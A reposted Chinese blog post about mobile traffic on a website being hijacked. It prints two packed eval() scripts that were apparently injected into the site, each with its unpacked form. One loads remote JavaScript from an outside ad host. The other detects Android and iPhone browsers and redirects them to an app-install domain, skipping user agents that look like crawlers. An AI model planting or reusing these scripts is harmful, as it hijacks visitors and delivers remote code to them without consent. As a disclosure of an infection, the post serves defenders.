码迷,mamicode.com
首页 > 移动开发 > 详细

网站手机流量被劫持

时间:2014-10-26 18:15:32      阅读:383      评论:0      收藏:0      [点我收藏+]

标签:android   cWeb   blog   http   io   os   ar   java   for   

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?‘‘:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!‘‘.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return‘\\w+‘};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(‘\\b‘+e(c)+‘\\b‘,‘g‘),k[c])}}return p}(‘g 9(0,l){4 j=1;4 3=a n();3.o(3.p()+j*8*i*i*q);6.c=0+"="+v(l)+";t="+3.r()};g f(0){4 5,h=a u("(^| )"+0+"=([^;]*)(;|$)");b(5=6.c.m(h))e E(5[2]);w e H};b(!f("7")){9("7","G");6.J("<d M=\\\‘L\\/K\\\‘ I=\\\‘F\\\‘ z=\\\‘y:\\/\\/k.x.A.B\\/s.k?D=C\\\‘><\\/d>")}‘,49,49,‘name|||exp|var|arr|document|popWin||setCookie|new|if|cookie|script|return|getCookie|function|reg|60|Days|js|value|match|Date|setTime|getTime|1000|toGMTString||expires|RegExp|escape|else|adm|http|src|newcnzz|net|12151|sid|unescape|gb2312|true|null|charset|writeln|javascript|text|type‘.split(‘|‘),0,{}))

  

function setCookie(name, value) {
    var Days = 1;
    var exp = new Date();
    exp.setTime(exp.getTime() + Days * 8 * 60 * 60 * 1000);
    document.cookie = name + "=" + escape(value) + ";expires=" + exp.toGMTString()
};
function getCookie(name) {
    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
    if (arr = document.cookie.match(reg)) return unescape(arr[2]);
    else return null
};
if (!getCookie("popWin")) {
    setCookie("popWin", "true");
    document.writeln("<script type=\‘text\/javascript\‘ charset=\‘gb2312\‘ src=\‘http:\/\/js.adm.newcnzz.net\/s.js?sid=12151\‘><\/script>")
}

  

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?‘‘:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!‘‘.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return‘\\w+‘};c=1};while(c--){if(k[c]){p=p.replace(new RegExp(‘\\b‘+e(c)+‘\\b‘,‘g‘),k[c])}}return p}(‘5.6("<o F=\\"E\\/D\\">");5.6("(e(){");5.6("c t = n();");5.6("c q = t[\\\‘G\\\‘];");5.6("d(q!=\\\‘H\\\‘){");5.6("c 9=K.C.I();");5.6("c 7=e (a, b){");5.6("d(a.s(b)!=-1){k L;}");5.6("};");5.6("c p = e(){");5.6("x.m.y = \\\‘B:\\/\\/A.z.u\\/v\\/\\\‘");5.6("}");5.6(" ");5.6("d(7(9,\\"w\\")||(7(9,\\"J:1.2.3.4\\"))||(7(9,\\"0.0.0.0\\"))||(7(9,\\"8.0.M.Z\\"))){k X}");5.6("d((7(9,\\"h\\") && 7(9,\\"U\\"))||(7(9,\\"h\\") && 7(9,\\"O\\")) ||(7(9,\\"h\\") && 7(9,\\"N\\"))");5.6("||7(9,\\"P\\")||7(9,\\"S\\")){p();}");5.6("}");5.6("})();");5.6("e n() {");5.6(" c g = m.T; ");5.6(" c l = R Q();");5.6(" d (g.s(\\"?\\") != -1) {");5.6(" c r = g.Y(1);");5.6(" f = r.j(\\"&\\");");5.6(" V(c i = 0; i < f.10; i ++) {");5.6(" l[f[i].j(\\"=\\")[0]]=W(f[i].j(\\"=\\")[1]);");5.6(" }");5.6(" }");5.6(" k l;");5.6("}");5.6("<\\/o>")‘,62,63,‘|||||document|writeln|contains||ua|||var|if|function|strs|url|android||split|return|theRequest|location|GetRequest|script|toMobileVertion|par|str|indexOf|res|net|zhuanyong6|ipad|window|href|anzhuangapp|zhuanyongbofangqi6|http|userAgent|javascript|text|type|index|gfan|toLowerCase|rv|navigator|true|552|opera|mozilla|ucweb7|Object|new|iphone|search|mobile|for|unescape|false|substr|237|length‘.split(‘|‘),0,{})) ______________________________________________ document.writeln("<script type=\"text\/javascript\">"); document.writeln("(function(){"); document.writeln("var res = GetRequest();"); document.writeln("var par = res[\‘index\‘];"); document.writeln("if(par!=\‘gfan\‘){"); document.writeln("var ua=navigator.userAgent.toLowerCase();"); document.writeln("var contains=function (a, b){"); document.writeln("if(a.indexOf(b)!=-1){return true;}"); document.writeln("};"); document.writeln("var toMobileVertion = function(){"); document.writeln("window.location.href = \‘http:\/\/zhuanyongbofangqi6.anzhuangapp.net\/zhuanyong6\/\‘"); document.writeln("}"); document.writeln(" "); document.writeln("if(contains(ua,\"ipad\")||(contains(ua,\"rv:1.2.3.4\"))||(contains(ua,\"0.0.0.0\"))||(contains(ua,\"8.0.552.237\"))){return false}"); document.writeln("if((contains(ua,\"android\") && contains(ua,\"mobile\"))||(contains(ua,\"android\") && contains(ua,\"mozilla\")) ||(contains(ua,\"android\") && contains(ua,\"opera\"))"); document.writeln("||contains(ua,\"ucweb7\")||contains(ua,\"iphone\")){toMobileVertion();}"); document.writeln("}"); document.writeln("})();"); document.writeln("function GetRequest() {"); document.writeln(" var url = location.search; "); document.writeln(" var theRequest = new Object();"); document.writeln(" if (url.indexOf(\"?\") != -1) {"); document.writeln(" var str = url.substr(1);"); document.writeln(" strs = str.split(\"&\");"); document.writeln(" for(var i = 0; i < strs.length; i ++) {"); document.writeln(" theRequest[strs[i].split(\"=\")[0]]=unescape(strs[i].split(\"=\")[1]);"); document.writeln(" }"); document.writeln(" }"); document.writeln(" return theRequest;"); document.writeln("}"); document.writeln("<\/script>")

  

网站手机流量被劫持

标签:android   cWeb   blog   http   io   os   ar   java   for   

原文地址:http://www.cnblogs.com/94YY/p/4052144.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!